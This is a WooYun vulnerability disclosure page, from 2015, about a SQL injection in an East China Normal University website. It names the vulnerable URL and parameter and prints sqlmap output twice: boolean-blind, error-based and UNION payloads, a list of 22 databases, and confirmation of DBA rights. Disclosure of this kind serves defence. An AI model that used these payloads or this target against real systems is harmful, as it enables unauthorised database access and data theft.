当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0165100

漏洞标题:华东师范大学某站注入漏洞,dba权限

相关厂商:华东师范大学

漏洞作者: 路人甲

提交时间:2015-12-28 13:32

修复时间:2016-02-12 18:49

公开时间:2016-02-12 18:49

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-28: 细节已通知厂商并且等待厂商处理中
2015-12-30: 厂商已经确认,细节仅向厂商公开
2016-01-09: 细节向核心白帽子及相关领域专家公开
2016-01-19: 细节向普通白帽子公开
2016-01-29: 细节向实习白帽子公开
2016-02-12: 细节向公众公开

简要描述:

华东师范大学某站注入漏洞,泄露22数据裤,DBA权限。

详细说明:

注入点:http://gpcr.ecnu.edu.cn/chakan.aspx?ContId=27

GET parameter 'ContId' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection points with a total of 69 HTTP(s) requests:
---
Parameter: ContId (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: ContId=27' AND 2630=2630 AND 'bPns'='bPns
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: ContId=27' AND 1896=CONVERT(INT,(SELECT CHAR(113)+CHAR(98)+CHAR(98)+CHAR(107)+CHAR(113)+(SELECT (CASE WHEN (1896=1896) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(106)+CHAR(120)+CHAR(107)+CHAR(113))) AND 'jEOw'='jEOw
Type: UNION query
Title: Generic UNION query (NULL) - 15 columns
Payload: ContId=27' UNION ALL SELECT CHAR(113)+CHAR(98)+CHAR(98)+CHAR(107)+CHAR(113)+CHAR(108)+CHAR(100)+CHAR(103)+CHAR(101)+CHAR(99)+CHAR(122)+CHAR(82)+CHAR(81)+CHAR(100)+CHAR(67)+CHAR(113)+CHAR(106)+CHAR(120)+CHAR(107)+CHAR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
---
[02:45:35] [INFO] testing Microsoft SQL Server
[02:45:36] [INFO] confirming Microsoft SQL Server
[02:45:43] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2008


泄露22个数据库

available databases [22]:                                                      
[*] C:\\WWW\\2015\\APP_DATA\\CASPASE.MDF
[*] C:\\WWW\\2015\\APP_DATA\\DATABASE.MDF
[*] C:\\WWW\\2015\\APP_DATA\\DB_DISCUSS.MDF
[*] C:\\WWW\\2015\\APP_DATA\\GPCR.MDF
[*] C:\\WWW\\2015\\APP_DATA\\SHENGWU.MDF
[*] C:\\WWW\\GPCR114\\APP_DATA\\CASPASE.MDF
[*] C:\\WWW\\GPCR114\\APP_DATA\\DATABASE.MDF
[*] C:\\WWW\\GPCR114\\APP_DATA\\DB_DISCUSS.MDF
[*] C:\\WWW\\GPCR114\\APP_DATA\\GPCR.MDF
[*] C:\\WWW\\GPCR114\\APP_DATA\\SHENGWU.MDF
[*] C:\\WWW\\GPCR\\APP_DATA\\CASPASE.MDF
[*] C:\\WWW\\GPCR\\APP_DATA\\DATABASE.MDF
[*] C:\\WWW\\GPCR\\APP_DATA\\GPCR.MDF
[*] C:\\WWW\\GPCR\\APP_DATA\\SHENGWU.MDF
[*] digData
[*] labmanage
[*] master
[*] model
[*] msdb
[*] ReportServerTempDB
[*] tempdb
[*] tian


属于DBA权限

[02:51:53] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2008
[02:51:53] [INFO] testing if current user is DBA
current user is DBA: True


1.png

2.png

漏洞证明:

GET parameter 'ContId' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection points with a total of 69 HTTP(s) requests:
---
Parameter: ContId (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: ContId=27' AND 2630=2630 AND 'bPns'='bPns
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: ContId=27' AND 1896=CONVERT(INT,(SELECT CHAR(113)+CHAR(98)+CHAR(98)+CHAR(107)+CHAR(113)+(SELECT (CASE WHEN (1896=1896) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(106)+CHAR(120)+CHAR(107)+CHAR(113))) AND 'jEOw'='jEOw
Type: UNION query
Title: Generic UNION query (NULL) - 15 columns
Payload: ContId=27' UNION ALL SELECT CHAR(113)+CHAR(98)+CHAR(98)+CHAR(107)+CHAR(113)+CHAR(108)+CHAR(100)+CHAR(103)+CHAR(101)+CHAR(99)+CHAR(122)+CHAR(82)+CHAR(81)+CHAR(100)+CHAR(67)+CHAR(113)+CHAR(106)+CHAR(120)+CHAR(107)+CHAR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
---
[02:45:35] [INFO] testing Microsoft SQL Server
[02:45:36] [INFO] confirming Microsoft SQL Server
[02:45:43] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2008


泄露22个数据库

available databases [22]:                                                      
[*] C:\\WWW\\2015\\APP_DATA\\CASPASE.MDF
[*] C:\\WWW\\2015\\APP_DATA\\DATABASE.MDF
[*] C:\\WWW\\2015\\APP_DATA\\DB_DISCUSS.MDF
[*] C:\\WWW\\2015\\APP_DATA\\GPCR.MDF
[*] C:\\WWW\\2015\\APP_DATA\\SHENGWU.MDF
[*] C:\\WWW\\GPCR114\\APP_DATA\\CASPASE.MDF
[*] C:\\WWW\\GPCR114\\APP_DATA\\DATABASE.MDF
[*] C:\\WWW\\GPCR114\\APP_DATA\\DB_DISCUSS.MDF
[*] C:\\WWW\\GPCR114\\APP_DATA\\GPCR.MDF
[*] C:\\WWW\\GPCR114\\APP_DATA\\SHENGWU.MDF
[*] C:\\WWW\\GPCR\\APP_DATA\\CASPASE.MDF
[*] C:\\WWW\\GPCR\\APP_DATA\\DATABASE.MDF
[*] C:\\WWW\\GPCR\\APP_DATA\\GPCR.MDF
[*] C:\\WWW\\GPCR\\APP_DATA\\SHENGWU.MDF
[*] digData
[*] labmanage
[*] master
[*] model
[*] msdb
[*] ReportServerTempDB
[*] tempdb
[*] tian


属于DBA权限

[02:51:53] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2008
[02:51:53] [INFO] testing if current user is DBA
current user is DBA: True


1.png

2.png

修复方案:

你们更专业。
凌晨挖洞,多给点乌币可好?

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-12-30 10:06

厂商回复:

通知二级单位处理。

最新状态:

暂无


漏洞评价:

评价